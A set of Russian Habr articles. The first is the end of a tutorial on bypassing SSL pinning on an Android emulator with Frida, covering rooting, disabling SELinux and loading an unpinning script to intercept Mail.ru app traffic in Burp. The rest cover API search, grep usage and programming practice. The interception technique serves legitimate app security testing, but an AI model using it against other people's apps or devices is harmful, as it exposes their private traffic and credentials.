Версия Frida должна выглядеть как frida-server-$VERSION-android-$ARCH.xz, для последней $VERSION, где $ARCH - это архитектура вашего устройства. Для эмуляторов, это x86 или x86\_64, для физических устройств это, вероятно, arm64 (или, возможно, arm, для старых устройств). Извлеките бинарный файл из архива \*.xz. Это не распространенный формат сжатия, поэтому вам может понадобиться 7-Zip (Windows) или The Unarchiver (Mac), если у вас их еще нет. Затем скопируйте бинарный файл на устройство, сделайте его исполняемым и запустите сервер от пользователя root.
Если ваша установка AVD без продакшен версии Android (не имеет приложения Goole Play Store), установите Frida с помощью следующих команд:
В случае использования AVD с продакшен версией Android (имеется приложение Goole Play Store) вам нужно сначала запустить скрипт [RootAVD](https://github.com/newbit1/rootAVD). Затем запустите сервер Frida, используя следующие команды:
**Запуск сервера Frida на продакшен версиях Android**
**adb shell # Запуск оболочки на AVD**
**su # получить права root**
**setenforce 0 # Отключить selinux**
**/data/local/tmp/frida-server & # Запуск сервера Frida на устройстве AVD**
11.2 Установите Frida на свой компьютер
Установите инструменты интерфейса командной строки Frida на свой компьютер. Требуется установить Python.
```
Pip install frida-tools
```
Проверьте установку, запустив frida-ps -U.
11.3 Отключение SSL Pinning с помощью Frida
Получить имя пакета нужного приложения. В этом случае имя пакета - ru.mail.mailapp
Скачать скрипт unpinning [frida-ssl-unpinning-script.js](https://gitlab.com/konstantin-web-apps/ssl-unpinning/-/blob/main/frida-ssl-unpinning-script.js)
Запустите необходимое приложение, в данном случае Mail.RU – Email APP.
Запуститe frida-script
```
frida --no-break -U -l./frida-script.js -f ru.mail.mailapp
```
Это перезапустит приложение на вашем AVD и напечатает ряд библиотек, где была предпринята попытка выполнить SSL Unpinning, с символом [+] для библиотек, которые были успешно исправлены (пропатчены), и [ ] для библиотек, которые не были (как правило, потому что приложение не использует эти библиотеки).
При последующем вызове пропатченных методов вы также увидите сообщение **--> Bypassing [pinning method]**, чтобы узнать, какие API использует это приложение.
12) Запуск почтового клиентского приложения mail.ru и вход в учетную запись пользователя.
13) Убедитесь, что перехватывающий прокси (в данном случае Burp) получает HTTP/HTTPS трафик из исследуемого приложения.
Еще один пример из ZAP proxy.
На этом этапе HTTPS-трафик приложения может быть перехвачен и изменён.
### Заключение
Мы рассмотрели методы встраивания в HTTPS трафик Android приложений. Метод SSL Unpinning является наиболее надежным, хотя и более сложным в реализации. При помощи SSL Unpinning можно встроиться в трафик любых мобильных приложений будь-то [Сбер Банк](https://www.sberbank.ru/sms/android_download-website), [HSBC](https://play.google.com/store/apps/details?id=uk.co.hsbc.hsbcukmobilebanking&hl=ru&gl=US) или [Facebook](https://play.google.com/store/apps/details?id=com.facebook.katana&hl=ru&gl=US).
For contacts and feedback: [konstantin.degtiarev5@gmail.com](mailto:konstantin.degtiarev5@gmail.com) or <https://konstantinsecurity.com/>
### См. также:
1. [Настройка Burp Suite с Android Nougat](https://blog.ropnop.com/configuring-burp-suite-with-android-nougat/)
2. [Root AVD и установить Magisk](https://github.com/newbit1/rootAVD)
3. [Пользовательские сертификаты модуля Magisk](https://github.com/NVISOsecurity/MagiskTrustUserCerts)
4. [Рамки, касающиеся возражений](https://github.com/sensepost/objection)
5. [Шпаргалка ADB](https://3os.org/android/adb-cheat-sheet/) | https://habr.com/ru/post/676618/ | null | ru | null |
# «Чем это сделать?»: поиск API — методики и проблемы
Современные программы в значительной степени строятся из готовых кирпичиков — библиотек. Уникального кода и архитектурных решений в каждой программе относительно мало. Очень часто бывает, что существующие библиотеки не слишком высокого качества, но даже самый крутой программист не станет их переписывать.
Этот факт находит отражение и в изменении учебных курсов. Сассман, автор SICP, самого известного курса по программирование, сказал: " *инженерное дело в середине 90-ых, а уж тем более в 2000-ых сильно отличается от инженерного дела 80-ых. В 80-ых хорошие программисты проводили много времени в размышлениях, а потом писали немного кода, который работал. Код работал близко к «железу», даже Scheme — все было прозрачно на всех стадиях. Как с резистором, достаточно посмотреть на цветную маркировку, чтобы узнать номинальную мощность, допустимые отклонения, сопротивление и V=IR — это все, что нужно знать. 6.001 был задуман как курс для обучения инженеров тому, как из маленьких кубиков, в которых они досконально разбираются, посредством простых техник составлять сложные конструкции, которые делают то, что от них хотят. Но программирование сейчас далеко не то же самое. Теперь вы ковыряетесь в непонятной или несуществующей документацией для софта, даже неизвестно, кем написанного. Вы должны досконально исследовать библиотеки, чтобы узнать, как они работают, пробовать разные исходные данные и смотреть, как реагирует код. Это в корне иная работа, и для нее требуется иной курс обучения.*"
Строительные кирпичики стандартизированы — каменщику обычно не приходится выбирать подходящий именно для этого места кирпич. С библиотеками все наоборот — то, что предназначено для обработки PDF не подойдет для создания распределенной вычислительной системы. Возникает потребность найти нужную библиотеку, в ней нужную функцию и понять, как ее встроить в свою программу. Google, как и любая другая ориентированная на естественный язык поисковая система пока помогает мало. Так что рассмотрим другие подходы.
В статически типизированных о том, что делает функция можно догадаться по ее типу. И наоборот — зная, что должна делать функция, предположить ее тип (сигнатуру). Например, функция извлечения элемента из списка должна иметь тип
```
[a] -> a
```
— здесь «a» не определенный в данный момент тип элемента, а "[a]" — тип списка из элементов типа «a». Поисковики по типам есть (для некоторых языков) и сильно упрощают жизнь разработчика — это ocamlfind для OCaml, [Hoogle](http://www.haskell.org/hoogle/) и [Hayoo](http://holumbus.fh-wedel.de/hayoo/hayoo.html) для Haskell, [Scalex](http://www.scalex.org) для Scala.
Для динамически типизированных языков этот подход тоже может работать, если каждой функции приписать тип, пусть даже игнорируемый компилятором. Иногда это можно сделать автоматически — современные системы часто умеют выводить тип из кода (так поступают многие компиляторы статически типизированных функциональных языков), но для языков с наследованием реализовать его тяжело (так в Scala тип аргументов функций приходится описывать явно, а он может быть очень громоздкий). Можно собрать статистику по использованию функции в реальных программах — хоть это и не гарантирует правильно описанный обобщенный тип, но может оказаться полезным для поиска и документирования (не все же пишут документацию до того, как их библиотека начинает использоваться — почему бы не упростить себе жизнь :-)).
Ted Kaehler, сотрудник Алона Кая (автора языка Smalltalk) [предлагает](http://www.vpri.org/pdf/m2009012_fnd_sine.pdf) более радикальные методики поиска. Один из них — написать тест для этой функции и запустить его на всех существующих. Звучит пугающе, но лично мне часто приходилось искать метод из Java-библиотеки, вызывая все, что показалось подходящим по названию из Scala REPL. А все, что можно автоматизировать, должно быть автоматизировано. :-).
Вторая методика — как можно разнообразнее аннотировать все библиотечные функции и искать по аннотациям. По аннотациям строится таксономия функций и библиотек, которая позволила бы управляться с этим зоопарком (термин «таксономия» очень кстати придуман биологами).
В таксономический/онтологический подход еще дальше углубились программисты на R ([статья](http://libgen.org/scimag3/10.1007/978-3-642-27392-6_4.pdf), [презентация](http://www.r-project.org/conferences/useR-2010/slides/N.pdf)). Это и не удивительно — R часто применяют для анализа больших сложно структурированных данных — там же, где и онтологии.
Все знают, что *онтология — это точная спецификация концептуализации*. Но что такое спецификация и концептуализация знают не многое. Я к их числу не отношусь, по тому попробую описать как я это понимаю.
Онтология более или менее формально описывает предметную область — какие в ней бывают объекты и какие между ними бывают отношения. Есть множество языков для онтологий, но наибольшее распространение получил стандарт W3C [RDF](http://ru.wikipedia.org/wiki/RDF) (для более сложных случаев OWL).
В RDF все задается «тройками» субъект-предикат-объект. F1.R is\_a RFunction. «F1.R» есть R-функция. Для описания троек W3C пытался навязать XML, но вовремя одумался и разработал [человеческий синтаксис](http://en.wikipedia.org/wiki/N-Triples).
RDF часто называют графом, а базы данных, способные его обрабатывать относят к графовым. Основным языком общения с таким базами является SPARQL — достаточно удачный гибрид SQL и Prolog. Типичный запрос представляет их себя шаблон фрагмента графа, который требуется найти. В таком виде не сложно сформулировать достаточно экзотические условия — например «найти функцию из доступной под GPLv3 библиотеки, результат которой можно передать на вход функции с именем createPDF». Это несколько сложнее, чем поиск по шаблону типа, описанный в начале статьи, но гораздо гибче.
Можно хранить более подробную информацию об аргументах функции, которая плохо описывается типами. Например, что у метода executeSelect класса org.w3.banana.SparqlEngine первый аргумент — строка с запросом SPARQL select. Найти такую функцию из всех получающих строковый аргумент без такой аннотации было бы не легко. Кроме поисковика этой информацией мог бы пользоваться верификатор кода (аналог lint из C) и IDE для подсветки синтаксиса.
Хотя иногда подобную информацию умудряются засунуть в тип, но это мало помогает в поиске. Вот как это сделано в OCaml (на уровне компилятора)
```
# (fun a -> Printf.sprintf a 1 ; a) "%d";;
- : (int -> string, unit, string) format =
```
Понятно, что что-бы найти функцию подстановки целого в строковый шаблон, ни кто не будет искать функцию с типом
```
(int -> string, unit, string) format -> int -> string
```
В лучшем из миров библиотеку на одном языке программирования сравнительно легко можно вызвать из любого другого. В реальности это не так, но помечтать об этом можно.
Современные языки очень разные и термины одного могут отображаться на другой нетривиальным образом. Например, в некоторых языках есть понятие «класс типов» — совокупность типов, к которым есть общий интерфейс (в отличие от интерфейсов ООП, эти интерфейсы не являются частью типа, а живут отдельно). Например функция
```
max :: Ord a => a -> a -> a
```
ждет два параметра одинакового типа **a**, возвращает результат того же типа и этот тип должен принадлежать классу Ord (то, что можно сравнивать). То есть ее можно вызвать с двумя целыми и получить целое, или с двумя действительными и получить действительное. А с целым и действительным — нельзя.
Классы типов очень удобны в использовании (и полезны при поиске), и в языках, где из нет, придумали способ их эмулировать.
Обычно реализуются они передачей неявного параметра, содержащего реализацию интерфейса для конкретного типа. В языках, где есть возможность описать параметры со сложными умолчаниями, таких как Scala и C++ это делается сравнительно не сложно. Правда, в Haskell неявный аргумент передается первым (для возможности оптимизации), а в Scala и C++ — последним (ввиду устройства языка), и кроссязыковая поисковая система должна будет это учитывать.
API может описывать не только сигнатуры методов и функций, но и последовательность их вызова (примерно как в сетевых протоколах). В упомянутой выше статье для этого вводится предикат couldBeUsedBefore. Особенно это актуально, если в языке допускаются более-менее автономные сущности, такие как процессы Erlang и акторы Scala. Erlang допускает опциональную типизацию функций, а Scala статически типизирован, но устройство сообщений процессам/акторам формально описать они не позволяют.
Как говорится, *в каждой библиотеке сидит DSL и просится наружу*. Если с тем, как найти синус в Smalltalk мы более-менее разобрались, то как найти loop в Common Lisp пока совершенно не понятно. | https://habr.com/ru/post/204124/ | null | ru | null |
# Что такое grep и с чем его едят
Эта заметка навеяна мелькавшими последнее время на хабре постами двух тематик — «интересные команды unix» и «как я подбирал программиста». И описываемые там команды, конечно, местами интересные, но редко практически полезные, а выясняется, что реально полезным инструментарием мы пользоваться и не умеем.
Небольшое лирическое отступление:
Года три назад меня попросили провести собеседование с претендентами на должность unix-сисадмина. На двух крупнейших на тот момент фриланс-биржах на вакансию откликнулись восемь претендентов, двое из которых входили в ТОП-5 рейтинга этих бирж. Я никогда не требую от админов знания наизусть конфигов и считаю, что нужный софт всегда освоится, если есть желание читать, логика в действиях и умение правильно пользоваться инструментарием системы. Посему для начала претендентам были даны две задачки, примерно такого плана:
— поместить задание в крон, которое будет выполняться в каждый чётный час и в 3 часа;
— распечатать из файла /var/run/dmesg.boot информацию о процессоре.
К моему удивлению никто из претендентов с обоими вопросами не справился. Двое, в принципе, не знали о существовании grep.
Поэтому… Лето… Пятница… Перед шашлыками немного поговорим о grep.
Зная местную публику и дабы не возникало излишних инсинуаций сообщаю, что всё нижеизложенное справедливо для
```
# grep --version | grep grep
grep (GNU grep) 2.5.1-FreeBSD
```
Это важно в связи с
```
# man grep | grep -iB 2 freebsd
-P, --perl-regexp
Interpret PATTERN as a Perl regular expression. This option is
not supported in FreeBSD.
```
Для начала о том как мы обычно grep'аем файлы.
Используя cat:
```
root@nm3:/ # cat /var/run/dmesg.boot | grep CPU:
CPU: Intel(R) Core(TM)2 Quad CPU Q9550 @ 2.83GHz (2833.07-MHz K8-class CPU)
```
Но зачем? Ведь можно и так:
```
root@nm3:/ # grep CPU: /var/run/dmesg.boot
CPU: Intel(R) Core(TM)2 Quad CPU Q9550 @ 2.83GHz (2833.07-MHz K8-class CPU)
```
Или вот так (ненавижу такую конструкцию):
```
root@nm3:/ #
```
Зачем-то считаем отобранные строки с помощью wc:
```
root@nm3:/ # grep WARNING /var/run/dmesg.boot | wc -l
3
```
Хотя можно:
```
root@nm3:/ # grep WARNING /var/run/dmesg.boot -c
3
```
Сделаем тестовый файлик:
**test.txt**
```
root@nm3:/ # grep ".*" test.txt
one two three
seven eight one eight three
thirteen fourteen fifteen
sixteen seventeen eighteen seven
sixteen seventeen eighteen
twenty seven
one 504 one
one 503 one
one 504 one
one 504 one
#comment UP
twentyseven
#comment down
twenty1
twenty3
twenty5
twenty7
```
И приступим к поискам:
Опция **-w** позволяет искать по слову целиком:
```
root@nm3:/ # grep -w 'seven' test.txt
seven eight one eight three
sixteen seventeen eighteen seven
twenty seven
```
А если нужно по началу или концу слова?
```
root@nm3:/ # grep '\' test.txt
seven eight one eight three
sixteen seventeen eighteen seven
twenty seven
twentyseven
```
Стоящие в начале или конце строки?
```
root@nm3:/ # grep '^seven' test.txt
seven eight one eight three
root@nm3:/ # grep 'seven$' test.txt
sixteen seventeen eighteen seven
twenty seven
twentyseven
root@nm3:/ #
```
Хотите увидеть строки в окрестности искомой?
```
root@nm3:/ # grep -C 1 twentyseven test.txt
#comment UP
twentyseven
#comment down
```
Только снизу или сверху?
```
root@nm3:/ # grep -A 1 twentyseven test.txt
twentyseven
#comment down
root@nm3:/ # grep -B 1 twentyseven test.txt
#comment UP
twentyseven
```
А ещё мы умеем так
```
root@nm3:/ # grep "twenty[1-4]" test.txt
twenty1
twenty3
```
И наоборот исключая эти
```
root@nm3:/ # grep "twenty[^1-4]" test.txt
twenty seven
twentyseven
twenty5
twenty7
```
Разумеется grep поддерживает и прочие базовые квантификаторы, метасимволы и другие прелести регулярок
Пару практических примеров:
```
root@nm3:/ # cat /etc/resolv.conf
#options edns0
#nameserver 127.0.0.1
nameserver 8.8.8.8
nameserver 77.88.8.8
nameserver 8.8.4.4
```
Отбираем только строки с ip:
```
root@nm3:/ # grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" /etc/resolv.conf
#nameserver 127.0.0.1
nameserver 8.8.8.8
nameserver 77.88.8.8
nameserver 8.8.4.4
```
Работает, но так симпатичнее:
```
root@nm3:/ # grep -E '\b[0-9]{1,3}(\.[0-9]{1,3}){3}\b' /etc/resolv.conf
#nameserver 127.0.0.1
nameserver 8.8.8.8
nameserver 77.88.8.8
nameserver 8.8.4.4
```
Уберём строку с комментарием?
```
root@nm3:/ # grep -E '\b[0-9]{1,3}(\.[0-9]{1,3}){3}\b' /etc/resolv.conf | grep -v '#'
nameserver 8.8.8.8
nameserver 77.88.8.8
nameserver 8.8.4.4
```
А теперь выберем только сами ip
```
root@nm3:/ # grep -oE '\b[0-9]{1,3}(\.[0-9]{1,3}){3}\b' /etc/resolv.conf | grep -v '#'
127.0.0.1
8.8.8.8
77.88.8.8
8.8.4.4
```
Вот незадача… Закомментированная строка вернулась. Это связано с особенностью обработки шаблонов. Как быть? Вот так:
```
root@nm3:/ # grep -v '#' /etc/resolv.conf | grep -oE '\b[0-9]{1,3}(\.[0-9]{1,3}){3}\b'
8.8.8.8
77.88.8.8
8.8.4.4
```
Здесь остановимся на инвертировании поиска ключом **-v**
Допустим нам нужно выполнить *«ps -afx | grep ttyv»*
```
root@nm3:/ # ps -afx | grep ttyv
1269 v1 Is+ 0:00.00 /usr/libexec/getty Pc ttyv1
1270 v2 Is+ 0:00.00 /usr/libexec/getty Pc ttyv2
1271 v3 Is+ 0:00.00 /usr/libexec/getty Pc ttyv3
1272 v4 Is+ 0:00.00 /usr/libexec/getty Pc ttyv4
1273 v5 Is+ 0:00.00 /usr/libexec/getty Pc ttyv5
1274 v6 Is+ 0:00.00 /usr/libexec/getty Pc ttyv6
1275 v7 Is+ 0:00.00 /usr/libexec/getty Pc ttyv7
48798 2 S+ 0:00.00 grep ttyv
```
Всё бы ничего, но строка *«48798 2 S+ 0:00.00 grep ttyv»* нам не нужна. Используем **-v**
```
root@nm3:/ # ps -afx | grep ttyv | grep -v grep
1269 v1 Is+ 0:00.00 /usr/libexec/getty Pc ttyv1
1270 v2 Is+ 0:00.00 /usr/libexec/getty Pc ttyv2
1271 v3 Is+ 0:00.00 /usr/libexec/getty Pc ttyv3
1272 v4 Is+ 0:00.00 /usr/libexec/getty Pc ttyv4
1273 v5 Is+ 0:00.00 /usr/libexec/getty Pc ttyv5
1274 v6 Is+ 0:00.00 /usr/libexec/getty Pc ttyv6
1275 v7 Is+ 0:00.00 /usr/libexec/getty Pc ttyv7
```
Некрасивая конструкция? Потрюкачим немного:
```
root@nm3:/ # ps -afx | grep "[t]tyv"
1269 v1 Is+ 0:00.00 /usr/libexec/getty Pc ttyv1
1270 v2 Is+ 0:00.00 /usr/libexec/getty Pc ttyv2
1271 v3 Is+ 0:00.00 /usr/libexec/getty Pc ttyv3
1272 v4 Is+ 0:00.00 /usr/libexec/getty Pc ttyv4
1273 v5 Is+ 0:00.00 /usr/libexec/getty Pc ttyv5
1274 v6 Is+ 0:00.00 /usr/libexec/getty Pc ttyv6
1275 v7 Is+ 0:00.00 /usr/libexec/getty Pc ttyv7
```
Также не забываем про | (ИЛИ)
```
root@nm3:/ # vmstat -z | grep -E "(sock|ITEM)"
ITEM SIZE LIMIT USED FREE REQ FAIL SLEEP
socket: 696, 130295, 30, 65, 43764, 0, 0
```
ну и тоже самое, иначе:
```
root@nm3:/ # vmstat -z | grep "sock\|ITEM"
ITEM SIZE LIMIT USED FREE REQ FAIL SLEEP
socket: 696, 130295, 30, 65, 43825, 0, 0
```
Ну и если об использовании регулярок в grep'e помнят многие, то об использовании POSIX классов как-то забывают, а это тоже иногда удобно.
**POSIX**[:alpha:] Any alphabetical character, regardless of case
[:digit:] Any numerical character
[:alnum:] Any alphabetical or numerical character
[:blank:] Space or tab characters
[:xdigit:] Hexadecimal characters; any number or A–F or a–f
[:punct:] Any punctuation symbol
[:print:] Any printable character (not control characters)
[:space:] Any whitespace character
[:graph:] Exclude whitespace characters
[:upper:] Any uppercase letter
[:lower:] Any lowercase letter
[:cntrl:] Control characters
Отберём строки с заглавными символами:
```
root@nm3:/ # grep "[[:upper:]]" test.txt
#comment UP
```
Плохо видно что нашли? Подсветим:
Ну и ещё пару трюков для затравки.
Первый скорее академичный. За лет 15 ни разу его не использовал:
Нужно из нашего тестового файла выбрать строки содержащие six или seven или eight:
Пока всё просто:
```
root@nm3:/ # grep -E "(six|seven|eight)" test.txt
seven eight one eight three
sixteen seventeen eighteen seven
sixteen seventeen eighteen
twenty seven
twentyseven
```
А теперь только те строки в которых six или seven или eight встречаются несколько раз. Эта фишка именуется *Backreferences*
```
root@nm3:/ # grep -E "(six|seven|eight).*\1" test.txt
seven eight one eight three
sixteen seventeen eighteen seven
```
Ну и второй трюк, куда более полезный. Необходимо вывести строки в которых 504 с обеих сторон ограничено табуляцией.
Ох как тут не хватает поддержки PCRE…
Использование POSIX-классов не спасает:
```
root@nm3:/ # grep "[[:blank:]]504[[:blank:]]" test.txt
one 504 one
one 504 one
one 504 one
```
На помощь приходит конструкция [CTRL+V][TAB]:
```
root@nm3:/ # grep " 504 " test.txt
one 504 one
```
Что ещё не сказал? Разумеется, grep умеет искать в файлах/каталогах и, разумеется, рекурсивно. Найдём в исходниках код, где разрешается использование Intel'ом сторонних SFP-шек. Как пишется *allow\_unsupported\_sfp* или *unsupported\_allow\_sfp* не помню. Ну да и ладно — это проблемы grep'а:
```
root@nm3:/ # grep -rni allow /usr/src/sys/dev/ | grep unsupp
/usr/src/sys/dev/ixgbe/README:75:of unsupported modules by setting the static variable 'allow_unsupported_sfp'
/usr/src/sys/dev/ixgbe/ixgbe.c:322:static int allow_unsupported_sfp = TRUE;
/usr/src/sys/dev/ixgbe/ixgbe.c:323:TUNABLE_INT("hw.ixgbe.unsupported_sfp", &allow_unsupported_sfp);
/usr/src/sys/dev/ixgbe/ixgbe.c:542: hw->allow_unsupported_sfp = allow_unsupported_sfp;
/usr/src/sys/dev/ixgbe/ixgbe_type.h:3249: bool allow_unsupported_sfp;
/usr/src/sys/dev/ixgbe/ixgbe_phy.c:1228: if (hw->allow_unsupported_sfp == TRUE) {
```
Надеюсь не утомил. И это была только вершина айсберга grep. Приятного Вам чтения, а мне аппетита на шашлыках!
Ну и удачного Вам grep'a! | https://habr.com/ru/post/229501/ | null | ru | null |
# Кодинг — это просто, а вот программирование — совсем другое дело
В моей жизни был период когда я только начинал заниматься программированием. Я тогда думал: «Программировать так просто… Зачем люди специально ходят учиться этому?», но с опытом и образованием пришло понимание, что программирование — дело трудное.
*То ли программирование — это легко, то ли я просто ничего не понимаю. [MemeGenerator.net](https://memegenerator.net/instance/78362391/futurama-fry-not-sure-if-programming-is-easy-or-if-i-know-nothing)*
Оценка своих успехов всегда была важна для меня, поскольку в конечном счете неважно, что думают остальные, важно что думаешь о себе ты. Анализируя свой опыт, я размышлял о сильных и слабых сторонах, образовании, практике и личностном росте. Этот процесс позволял мне учиться новому и размышлять о том, что значит быть программистом.
### Кодинг, программирование и стучание по клавишам
Большую часть времени на своей первой работе в сфере технологий я посвящал HTML, CSS и JavaScript. Я делал так, чтобы элементы вели себя тем или иным образом или плел с их помощью визуальные сюжеты. В то время я не думал о себе как о программисте, да и не хотел им тогда становиться. Лишь некоторое время спустя, когда я понял как делать другие вещи в NodeJS, PHP и MySQL, я начал рассматривать себя в этом качестве. Мешая в голове мысли о всем великом, что есть в программировании, я получил свою первую работу с «программистским» названием «инженер-разработчик ПО», в рамках которой я ежедневно и активно решал те или иные задачи.
> «Опыт научил меня, что все это время я на самом деле лишь неистово стучал и бил по клавишам, а не программировал»
Программирование требует вдумчивого подхода и понимания различных типов данных, структур, а также технологий, ради обслуживания которых были придуманы языки программирования. Разница заключается преимущественно в выборе процесса, который используется в работе над конкретными задачами. Я уделял основное внимание не типам данных или алгоритмов, паттернам проектирования, производительности или чему-либо еще, связанному с качеством кода и приложений. Вместо этого, акцент делался на рабочем механизме и его эстетической составляющей, что часто приводило к появлению на свет огромных неукротимых чудовищ. Это сопровождалось лихорадочным тестированием выходных данных до тех пор, пока результат не начинал хотя бы немного походить на фичу. Все это давало мне некоторое ощущение того, что я занимаюсь программированием, однако мой подход нельзя было назвать прагматичным или продуманным.
### Размышляя о данных
Структуры данных — область, благодаря которой я понял, насколько мне не хватает образования. Основная идея заключается в том, что у Вас есть различные способы хранения, вызова, сортировки и поиска по данным. Когда я только начинал программировать, я никогда не задумывался о различных задачах по работе с данными и производительности при работе с теми или иными типами данных. Очень часто я по умолчанию пользовался массивами (в том числе хэшами, json, словарями и другими терминами для наборов данных с доступом по именам полей) всякий раз, когда требовалось сохранить набор, отсортировать его или обработать в цикле.
Наборы, стэки и очереди казались мне очень интересными с точки зрения информатики, но когда дело доходило до их применения на практике в Ruby, мой энтузиазм уменьшался. В моем понимании стэки и очереди — одно и то же. Они позволяют вам получить информацию с разных концов набора данных. Единственное отличие очередей в том, что в них вы можете получить только объект, добавленный первым. Познакомившись с этими понятиями, я представлял их себе как помещение объектов в список обработки, в теории позволяющий снизить нагрузку и отправить несрочные задачи для фонового выполнения. Однако практическое применение на высокоуровневом языке программирования, таком, как Ruby выглядит практически бессмысленно, поскольку весь процесс, по сути, представляет собой заталкивание элементов в массив или изменение положения в нем.
К примеру, реализовать стек на Ruby можно с помощью вот такого простого кода:
```
class Stack
# init stack
def initialize
@set = Array.new()
end
# put a new item at the end of the stack
def push(x)
@set.push x
end
# get the last item in the stack
def grab
@set.pop
end
# is the set empty true false bool
def empty?
@set.empty?
end
end
# implemented stack
s = Stack.new
s.push 'a'
s.push 'b'
s.push 'c'
s.inspect #
puts s.grab # "c"
puts s.grab # "b"
puts s.grab # "a"
s.grab.inspect # nil
```
С очередями все примерно также в плане типов создаваемых данных. Вдобавок к этому в Ruby есть [свой класс](http://ruby-doc.org/stdlib-2.0.0/libdoc/thread/rdoc/Queue.html) для очередей:
```
# ruby Queue Class
q = Queue.new
q << 'a'
q << 'b'
# Tests Examples using Queue
puts q.length # prints 2
puts q.pop # prints a
puts q.length # prints 1
puts q.pop # prints b
puts q.length #prints 0
```
Несмотря на свою простоту, по сути, перед нами обычный массив. В этом безусловно есть своя красота. В общем я могу представить себе их потенциальную пользу в скриптах командной строки, однако в остальном мне трудно навскидку придумать, где еще им можно найти применение.
Двоичные деревья поиска вызывают у меня неподдельный интерес из-за оптимизации времени поиска, которой они позволяют добиться и скорости получения выборки. На практике я часто с легкостью извлекал данные из массивов, но по мере увеличения размера массива поиск по нему начинает занимать много времени. Вот где в игру вступают бинарные деревья поиска, описанные в этом классном [видео](http://cs50.tv/2012/fall/shorts/binary_search/binary_search-720p.mp4) Гарварда. И хотя мне еще не довелось воспользоваться ими на практике, я очень хочу попробовать сделать это в реальном проекте чтобы сравнить этот алгоритм с нативными методами работы с массивами в Ruby и посмотреть, насколько быстро бинарные деревья будут работать в сравнении с обычными массивами или хэшами. В ходе их изучения и попытках найти способы и сценарии их применения, я нашел вот эти интересные статьи:
* [Searching with string](https://gist.github.com/yuya-takeyama/812489) — образец кода на github gists, автор — [yuya-takeyama](https://gist.github.com/yuya-takeyama/812489)
* [Searching numerically](http://zvkemp.github.io/blog/2014/04/25/binary-search-trees-in-ruby/), автор — Zach Kemp
### Удобство сопровождения
Мое первое веб-приложение было написано просто из рук вон плохо с точки зрения удобства сопровождения. Я совершенно не пользовался какими-либо требования к оформлению, паттернами проектирования, порядками определения методов, пространствами имен, объектами или моделями. Если бы мне пришлось вернуться к коду, чтобы пофиксить баги (которые, я уверен, там есть), вероятно проще было бы переписать все с нуля, нежели пытаться определить метод, вызывающий баг.
*Плохой дизайн порождает спагетти-код. Спагетти код порождает страдания*
Одной из проблем, решение которой давалось мне с трудом, были вложенные условные операторы и циклы. В таких циклах зачастую есть целый вагон if-утверждений и проверок, однако эта проблема на самом деле вытекает из другой — непонимания того, как следует правильно организовывать и разделять различные части программы. Я пытался выполнить все в больших методах и не обращал внимание на отдельные составные части, которые можно было использовать повторно или создавать в качестве модулей, расширяющих функциональность всех объектов или методов. Ниже реальный фрагмент программы, сокращенный и измененный чтобы сэкономить место.
```
print " ### Display Weekdays:
";
// Looping in a view ... should have been factored diff
foreach($imageRecords["display"] as $ => $displayRecords) {
// WTF is this a nested foreach
foreach($displayRecords as $value => $dispRecord){
$tempWeekdayValuesArray = array();
if($value === "weekdays" && !isnull($dispRecord)) {
// 3rd nested foreach WTF!
foreach($dispRecord as $weekday => $weekbool) {
// :( condition foreach day ::SHAME::
if($weekday == "monday" && $weekbool == 1) {
// logic removed
}
}
}
}
}
```
Я конечно не собираюсь перекладывать вину на кого-то другого. Это код был написан мной, и отвечаю за него я, но все могло быть лучше, будь у меня наставник, возможность отправить код на обзор или pull-реквесты. Сегодня мне стыдно смотреть на это код, но есть и положительный момент, поскольку это говорит о том, насколько я вырос как разработчик. Следует также упомянуть о свободе и ограничениях, с которыми я столкнулся. Для этого проекта я был вынужден работать на LAMP-стеке, и вопрос этот обсуждению не подлежал. В то же время это было единственным ограничением. Мне не нужно было пользоваться паттернами проектирования или статистическими анализаторами и следовать каким-либо стилевым гайдам или политикам по формату кода. Это создает систему, в которой разработчик волен делать все, что посчитает нужным, но незнание о продолжительности жизни приложений и баг-фиксах может серьезно отразиться на конечном результате.
Со временем я стал по-настоящему ценить текстовые редакторы и экономию времени, которую они обеспечивают, анализируя потенциальные ошибки в коде по мере его написания. Но, кроме того, я также начал ценить и другие более мелкие, связанные с программирование подробности. Хорошо написанная кодовая база, следующая стандартам документации, четким требованиям и руководству по стилевому оформлению читается также бегло и просто как электронное письмо или интернет-статья (при условии, что иногда используемый язык программирования сам по себе этому способствует). В целом я также понял, что мне очень нравятся многие принципы, описанные в книге [Clean Code A Handbook of Agile Software Craftsmanship](https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882) Роберта Мартина и других авторов.
### Разработка посредством тестирования
Преимущества разработки через тестирование, на мой взгляд, говорят сами за себя, но я понимаю, что не все согласны с тем, что тестирование несет какую-либо ценность для кодовой базы. Не буду спорить про обоснованность тестирования, но хочу поделиться с вами тем, как она помогла мне. Написание интеграционных и модульных тестов для кода еще до его фактического создания оказало мне немалую помощь. Этот подход позволил мне писать более чистый код, делать это эффективнее, и справляться с задачами, решение которых вызывает у меня затруднения.
Написание более чистого и эффективного кода находится на пересечении многих других хороших практик программирования. Разработка через тестирование, в частности, помогла мне улучшить читабельность, производительность и скорость написания. Я обнаружил, что научился писать код, который не нуждается в перепроектировании (или нуждается в нем гораздо меньше) перед отправкой в продакшн или систему контроля версий. Тестирование помогло мне не только снизить количество багов, но и количество времени, которое я затрачиваю на их отслеживание и исправление. Я обнаружил, что во время исправления бага я могу взять ожидаемый ввод или вывод, написать соответствующий тест, и поработать над тем, чтобы этот и все остальные тесты начали давать корректный результат. Это позволяет устранить баг, а код при этом продолжает делать то, что ему положено.
Разработка через тестирование помогает мне упорядочить мысли до начала написания методов или объектов. В случаях написания более комплексных фич, она помогает мне разбить ее на минимальный набор элементов, который необходим для ее корректной работы. Часто она напоминает мне о полезности написания псевдо-кода, поскольку текущие тесты рано или поздно теряют свою полезность и нуждаются в изменениях по мере развития самого кода. Однако в целом пограничные случаи есть пограничные случаи: продумывать их заранее во время создания кода гораздо сложнее. В сухом остатке я считаю, что разработка посредством тестирования помогает мне как программисту расти.
[](https://wirexapp.com/ru/) | https://habr.com/ru/post/370667/ | null | ru | null |
# Мне не нравится то, во что превращается PHP
И я уже знаю, что скажете вы, глядя на заголовок статьи:
*— Кто ты такой? Почему ты позволяешь себе так говорить?*
Отвечу сразу, чтобы не было недомолвок:
* Я профессионально программирую на PHP с 2004 года, то есть вот уже 16 лет на момент написания этой статьи, и продолжаю это делать каждый день
* Я преподаю программирование, в том числе и на PHP, примерно 10 лет и за это время выпустил в свет несколько тысяч студентов
